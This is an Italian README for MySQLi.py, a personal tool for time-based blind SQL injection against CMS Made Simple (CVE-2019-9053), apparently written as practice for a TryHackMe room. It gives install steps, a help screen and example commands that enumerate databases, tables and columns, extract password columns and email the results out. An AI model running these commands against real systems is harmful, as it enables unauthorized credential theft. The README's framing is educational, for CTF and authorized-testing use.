
Strumento di SQL Injection cieca basata sul tempo per MySQL - CVE-2019-9053
MySQLi.py è un progetto personale di pratica, ispirato all'exploit 46635 di Exploit-DB, usato durante la stanza SimpleCTF su TryHackMe.
Ciò che ha attirato la mia attenzione nell'exploit originale è stata la sua capacità di estrarre le credenziali e persino di craccare automaticamente l'hash della password. Con questa motivazione, ho voluto scrivere una mia versione - più moderna, con un'interfaccia migliore e più opzioni di personalizzazione. Forse esistono già strumenti simili in giro, ma spero che questo piccolo programma sia un ulteriore contributo al mondo dell'hacking etico!
Lo strumento sfrutta CVE-2019-9053, una vulnerabilità in CMS Made Simple < 2.2.10 che espone un parametro non sanitizzato vulnerabile a SQL injection cieca basata sul tempo, senza richiedere autenticazione. Poiché la risposta web non mostra i dati direttamente, la tecnica funziona iniettando condizioni IF(SUBSTRING(...), SLEEP(n), 0) e misurando il tempo di risposta per indovinare ogni carattere, uno per uno, del database, delle tabelle, delle colonne e dei dati.
MySQLi demo
pip install -r requirements.txt
Per usare il flag --email, crea un file .env nella stessa directory.
Usa il modello da .env.example:
[email protected]
GMAIL_PASS=xxxx xxxx xxxx xxxx
La password deve essere una password per app di Google, non la tua normale password Gmail. Puoi generarne una su: myaccount.google.com/apppasswords
git clone https://github.com/rgkue/mysqli.git
cd mysqli
pip install -r requirements.txt
python3 mysqli.py --help
$ python3 mysqli.py --help
███╗ ███╗██╗ ██╗███████╗ ██████╗ ██╗ ██╗
████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║
██╔████╔██║ ╚████╔╝ ███████╗██║ ██║██║ ██║
██║╚██╔╝██║ ╚██╔╝ ╚════██║██║▄▄ ██║██║ ██║
██║ ╚═╝ ██║ ██║ ███████║╚██████╔╝███████╗██║
[!] Time-Based Blind SQL Injection for MySQL
Author: Isaac Muñoz - @rgkue | Github: github.com/rgkue/mysqli
Options:
--url <url> Target URL (required)
--mode <mode> Attack mode: database / tables / columns / exfil
--sleep <seconds> Sleep time for time-based injection (default: 5)
--delay <seconds> Delay between requests
--field <name> Vulnerable form field name (default: username)
--max <positions> Max character positions to extract (default: 40)
--table <name> Table name (required for columns/exfil)
--column <name> Column name (required for exfil)
--offset <n> Row offset - 0=first, 1=second... (default: 0)
--email <address> Send results to email (optional)
--output <file> Save data on a file
--help, -h Show this help message and exit
Examples:
python3 mysqli.py --url http://target/login.php --mode database
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
python3 mysqli.py --url http://target/login.php --mode columns --table users
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
python3 mysqli.py --url http://target/login.php --mode database --email [email protected]
# 1. Get the active database name
python3 mysqli.py --url http://target/login.php --mode database
# 2. List tables (use --offset to iterate)
python3 mysqli.py --url http://target/login.php --mode tables
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
# 3. List columns from a table
python3 mysqli.py --url http://target/login.php --mode columns --table users
# 4. Extract data from a column
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
# 5. Run multiple modes in one command
python3 mysqli.py --url http://target/login.php --mode database,tables
# 6. Save results to a file
python3 mysqli.py --url http://target/login.php --mode database --output results.txt
# 7. Send report by email
python3 mysqli.py --url http://target/login.php --mode database,tables --email [email protected]
# 8. Custom injection field
python3 mysqli.py --url http://target/search.php --mode database --field search
MySQLi.py è progettato esclusivamente per uso educativo e per ambienti in cui hai il permesso esplicito di eseguire test di sicurezza.
Usare questo strumento contro sistemi senza la previa autorizzazione scritta del proprietario è illegale e può costituire un reato penale secondo le leggi di molti paesi. L'autore non è responsabile di danni, perdita di dati, conseguenze legali o qualsiasi altro danno causato da un uso improprio di questo software.
Usalo solo nei tuoi laboratori, in ambienti CTF, su piattaforme di pratica come TryHackMe o HackTheBox, o su sistemi che sei autorizzato a testare.
Buon hacking! :)